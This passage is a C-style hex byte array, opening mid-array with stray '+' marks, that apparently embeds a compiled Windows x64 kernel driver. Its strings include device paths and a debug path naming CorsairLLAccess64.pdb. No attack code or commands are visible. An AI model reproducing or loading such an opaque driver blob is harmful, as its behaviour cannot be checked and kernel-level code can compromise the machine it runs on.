0x8D, 0x05, 0x59, + 0x16, 0x00, 0x00, 0x48, 0x89, 0x05, 0x5A, 0x16, 0x00, 0x00, 0x48, 0x89, + 0x05, 0x4B, 0x16, 0x00, 0x00, 0xFF, 0x15, 0xB5, 0x03, 0x00, 0x00, 0x44, + 0x8B, 0x0D, 0xC6, 0x13, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x7F, 0x16, 0x00, + 0x00, 0x66, 0x44, 0x89, 0x64, 0x24, 0x30, 0x45, 0x33, 0xC0, 0xC7, 0x44, + 0x24, 0x28, 0x43, 0x4C, 0x4D, 0x4D, 0x33, 0xD2, 0x48, 0xC7, 0x44, 0x24, + 0x20, 0x48, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xB5, 0x03, 0x00, 0x00, 0x33, + 0xC0, 0x48, 0x8B, 0x8D, 0xA0, 0x01, 0x00, 0x00, 0x48, 0x33, 0xCC, 0xE8, + 0x3C, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, 0xB0, 0x02, 0x00, 0x00, + 0x49, 0x8B, 0x5B, 0x28, 0x49, 0x8B, 0x73, 0x30, 0x49, 0x8B, 0x7B, 0x38, + 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x41, 0x5C, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x0D, 0x09, 0x13, 0x00, 0x00, 0x75, + 0x10, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, 0xFF, 0xFF, 0x75, 0x01, + 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x12, 0x00, 0x00, 0x00, 0xCC, 0xCC, + 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x83, 0x64, 0x24, + 0x20, 0x00, 0x48, 0x8B, 0xD1, 0x4C, 0x8B, 0x0D, 0xD4, 0x12, 0x00, 0x00, + 0xB9, 0xF7, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x05, 0xC0, 0x12, 0x00, 0x00, + 0x48, 0xFF, 0x15, 0x91, 0x03, 0x00, 0x00, 0x0F, 0x1F, 0x44, 0x00, 0x00, + 0xCC, 0xCC, 0xCC, 0xCC, 0xFF, 0x25, 0x9A, 0x03, 0x00, 0x00, 0xFF, 0x25, + 0x84, 0x03, 0x00, 0x00, 0xFF, 0x25, 0x16, 0x03, 0x00, 0x00, 0xFF, 0x25, + 0x68, 0x03, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, + 0x48, 0x8B, 0xCA, 0x49, 0x8B, 0xD1, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0xB8, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, + 0x48, 0x83, 0xEC, 0x28, 0x41, 0x8B, 0x00, 0x4C, 0x8B, 0xC9, 0x44, 0x8B, + 0xD8, 0x4C, 0x8B, 0xD1, 0x41, 0x83, 0xE3, 0xF8, 0xA8, 0x04, 0x74, 0x13, + 0x41, 0x8B, 0x40, 0x08, 0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, 0x03, + 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49, 0x63, 0xC3, 0x4E, 0x8B, + 0x04, 0x10, 0x48, 0x8B, 0x42, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x8B, 0x42, + 0x08, 0x8A, 0x54, 0x01, 0x03, 0xF6, 0xC2, 0x0F, 0x74, 0x09, 0x0F, 0xB6, + 0xC2, 0x83, 0xE0, 0xF0, 0x4C, 0x03, 0xC8, 0x4D, 0x33, 0xC8, 0x49, 0x8B, + 0xC9, 0xE8, 0x0E, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xE0, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, + 0x47, 0x0F, 0xB6, 0xD2, 0x49, 0xB9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, + 0x01, 0x01, 0x49, 0x0F, 0xAF, 0xD1, 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x50, + 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE1, 0xF8, 0x49, 0x03, 0xC9, 0x66, 0x0F, + 0x1F, 0x44, 0x00, 0x00, 0x4A, 0x89, 0x54, 0x08, 0xF8, 0x49, 0x83, 0xE9, + 0x08, 0x75, 0xF5, 0x49, 0x83, 0xE0, 0x07, 0x74, 0x05, 0x4A, 0x89, 0x54, + 0x01, 0xF8, 0xC3, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x49, 0x83, 0xE0, 0x07, 0x74, 0x0A, 0x42, 0x88, 0x54, 0x00, 0xFF, 0x49, + 0xFF, 0xC8, 0x75, 0xF6, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x48, 0x0F, 0x6E, + 0xC2, 0x0F, 0x16, 0xC0, 0x0F, 0x11, 0x01, 0x4C, 0x03, 0xC1, 0x48, 0x83, + 0xC1, 0x10, 0x48, 0x83, 0xE1, 0xF0, 0x4C, 0x2B, 0xC1, 0x4D, 0x8B, 0xC8, + 0x49, 0xC1, 0xE9, 0x07, 0x74, 0x2F, 0x0F, 0x29, 0x01, 0x0F, 0x29, 0x41, + 0x10, 0x48, 0x81, 0xC1, 0x80, 0x00, 0x00, 0x00, 0x0F, 0x29, 0x41, 0xA0, + 0x0F, 0x29, 0x41, 0xB0, 0x49, 0xFF, 0xC9, 0x0F, 0x29, 0x41, 0xC0, 0x0F, + 0x29, 0x41, 0xD0, 0x0F, 0x29, 0x41, 0xE0, 0x0F, 0x29, 0x41, 0xF0, 0x75, + 0xD5, 0x49, 0x83, 0xE0, 0x7F, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x04, + 0x74, 0x12, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x0F, 0x11, 0x01, 0x48, + 0x83, 0xC1, 0x10, 0x49, 0xFF, 0xC9, 0x75, 0xF4, 0x49, 0x83, 0xE0, 0x0F, + 0x74, 0x06, 0x42, 0x0F, 0x11, 0x44, 0x01, 0xF0, 0xC3, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x72, 0x00, 0x69, 0x00, + 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x00, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, + 0x65, 0x00, 0x5C, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, + 0x6F, 0x00, 0x73, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, + 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x54, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x34, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF2, 0x51, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x1A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x52, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x52, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x8A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xAA, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCC, 0x52, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xEA, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x06, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x51, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x3C, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x4C, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6E, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x84, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xAE, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xC0, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xE4, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFE, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x54, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xDC, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x26, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD0, 0x51, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0x1D, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xD0, 0x10, 0x00, 0x00, + 0xF0, 0x10, 0x00, 0x00, 0xA0, 0x12, 0x00, 0x00, 0x90, 0x16, 0x00, 0x00, + 0xB0, 0x16, 0x00, 0x00, 0x10, 0x1D, 0x00, 0x00, 0x20, 0x1D, 0x00, 0x00, + 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0x77, 0xB7, 0x5D, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, + 0x88, 0x22, 0x00, 0x00, 0x88, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x7A, 0x77, 0xB7, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, + 0x74, 0x01, 0x00, 0x00, 0xFC, 0x22, 0x00, 0x00, 0xFC, 0x16, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x30, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x21, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x08, 0x21, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x10, 0x21, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, + 0xC7, 0x3D, 0x3F, 0x05, 0xE7, 0x77, 0xC7, 0x4F, 0x92, 0x0B, 0x75, 0x46, + 0x68, 0xC8, 0x64, 0xF6, 0x01, 0x00, 0x00, 0x00, 0x63, 0x3A, 0x5C, 0x70, + 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, 0x73, 0x5C, 0x43, 0x6F, 0x72, 0x73, + 0x61, 0x69, 0x72, 0x4C, 0x4C, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x44, + 0x72, 0x69, 0x76, 0x65, 0x72, 0x5C, 0x57, 0x6F, 0x72, 0x6B, 0x69, 0x6E, + 0x67, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x5C, 0x4F, + 0x75, 0x74, 0x70, 0x75, 0x74, 0x5C, 0x52, 0x65, 0x6C, 0x65, 0x61, 0x73, + 0x65, 0x5C, 0x78, 0x36, 0x34, 0x5C, 0x43, 0x6F, 0x72, 0x73, 0x61, 0x69, + 0x72, 0x4C, 0x4C, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x36, 0x34, 0x2E, + 0x70, 0x64, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0xF0, 0x0D, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, + 0x00, 0x00, 0x00, 0x00, 0xF0, 0x1D, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, + 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x30, 0x30, 0x00, + 0x40, 0x1E, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, + 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x32, 0x31, 0x00, 0x30, 0x1F, 0x00, 0x00, + 0x5A, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x73, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, + 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, 0x66, 0x67, 0x00, 0x00, + 0x10, 0x21, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x2E, 0x67, 0x66, 0x69, + 0x64, 0x73, 0x00, 0x00, 0x40, 0x21, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00, + 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x88, 0x22, 0x00, 0x00, + 0xE8, 0x01, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, + 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x70, 0x24, 0x00, 0x00, + 0x7C, 0x01, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x00, 0x30, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, + 0x61, 0x00, 0x00, 0x00, 0x40, 0x30, 0x00, 0x00, 0x40, 0x03, 0x00, 0x00, + 0x2E, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, + 0xFC, 0x00, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x00, 0x50, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x49, 0x4E, 0x49, 0x54, + 0x00, 0x00, 0x00, 0x00, 0x90, 0x50, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, + 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, + 0xB8, 0x50, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, + 0x74, 0x61, 0x24, 0x33, 0x00, 0x00, 0x00, 0x00, 0xD0, 0x50, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, + 0x00, 0x00, 0x00, 0x00, 0xD0, 0x51, 0x00, 0x00, 0x9C, 0x02, 0x00, 0x00, + 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x60, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, + 0x63, 0x24, 0x30, 0x31, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x60, 0x00, 0x00, + 0x78, 0x03, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x32, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x1D, 0x0E, 0x00, 0x07, 0x16, 0x00, 0x06, + 0x1D, 0x74, 0x0D, 0x00, 0x1D, 0x64, 0x0C, 0x00, 0x1D, 0x54, 0x0B, 0x00, + 0x1D, 0x34, 0x0A, 0x00, 0x1D, 0x52, 0x19, 0xF0, 0x17, 0xE0, 0x15, 0xD0, + 0x02, 0x04, 0x03, 0x00, 0x01, 0x16, 0x00, 0x06, 0x04, 0x42, 0x00, 0x00, + 0x02, 0x19, 0x0C, 0x00, 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x0B, 0x00, + 0x19, 0x64, 0x0A, 0x00, 0x19, 0x54, 0x09, 0x00, 0x19, 0x34, 0x08, 0x00, + 0x19, 0x52, 0x15, 0xF0, 0x02, 0x06, 0x04, 0x00, 0x08, 0x16, 0x00, 0x06, + 0x06, 0x52, 0x02, 0x30, 0x1A, 0x33, 0x0D, 0x00, 0x06, 0x16, 0x00, 0x06, + 0x22, 0x74, 0x5D, 0x00, 0x22, 0x64, 0x5C, 0x00, 0x22, 0x34, 0x5B, 0x00, + 0x22, 0x01, 0x56, 0x00, 0x14, 0xE0, 0x12, 0xC0, 0x10, 0x50, 0x00, 0x00, + 0x68, 0x1D, 0x00, 0x00, 0xA0, 0x02, 0x00, 0x00, 0x02, 0x06, 0x04, 0x00, + 0x08, 0x16, 0x1E, 0x06, 0x06, 0x32, 0x02, 0x30, 0x02, 0x0A, 0x06, 0x00, + 0x02, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x08, 0x00, 0x0A, 0x52, 0x06, 0x70, + 0x02, 0x19, 0x0C, 0x00, 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x0B, 0x00, + 0x19, 0x64, 0x0A, 0x00, 0x19, 0x54, 0x09, 0x00, 0x19, 0x34, 0x08, 0x00, + 0x19, 0x52, 0x15, 0xE0, 0x02, 0x19, 0x0C, 0x00, 0x03, 0x06, 0x08, 0x06, + 0x19, 0x74, 0x09, 0x00, 0x19, 0x64, 0x08, 0x00, 0x19, 0x54, 0x07, 0x00, + 0x19, 0x34, 0x06, 0x00, 0x19, 0x32, 0x15, 0xE0, 0x0A, 0x1D, 0x0A, 0x00, + 0x0C, 0x16, 0x00, 0x06, 0x1D, 0x92, 0x19, 0xF0, 0x17, 0xE0, 0x15, 0xD0, + 0x13, 0xC0, 0x11, 0x70, 0x10, 0x60, 0x0F, 0x30, 0x62, 0x1D, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0xD5, 0x14, 0x00, 0x00, 0x1C, 0x15, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x1C, 0x15, 0x00, 0x00, 0x02, 0x14, 0x0A, 0x00, + 0x02, 0x06, 0x09, 0x06, 0x14, 0x64, 0x0A, 0x00, 0x14, 0x54, 0x09, 0x00, + 0x14, 0x34, 0x08, 0x00, 0x14, 0x52, 0x10, 0x70, 0x0A, 0x00, 0x00, 0x00, + 0x62, 0x1D, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xCD, 0x19, 0x00, 0x00, + 0xE5, 0x19, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE5, 0x19, 0x00, 0x00, + 0x0A, 0x00, 0x00, 0x00, 0x62, 0x1D, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xDB, 0x16, 0x00, 0x00, 0xF2, 0x16, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xF2, 0x16, 0x00, 0x00, 0x02, 0x0A, 0x06, 0x00, 0x02, 0x16, 0x00, 0x06, + 0x0A, 0x34, 0x06, 0x00, 0x0A, 0x32, 0x06, 0x70, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, + 0x99, 0x2B, 0x00, 0x00, 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 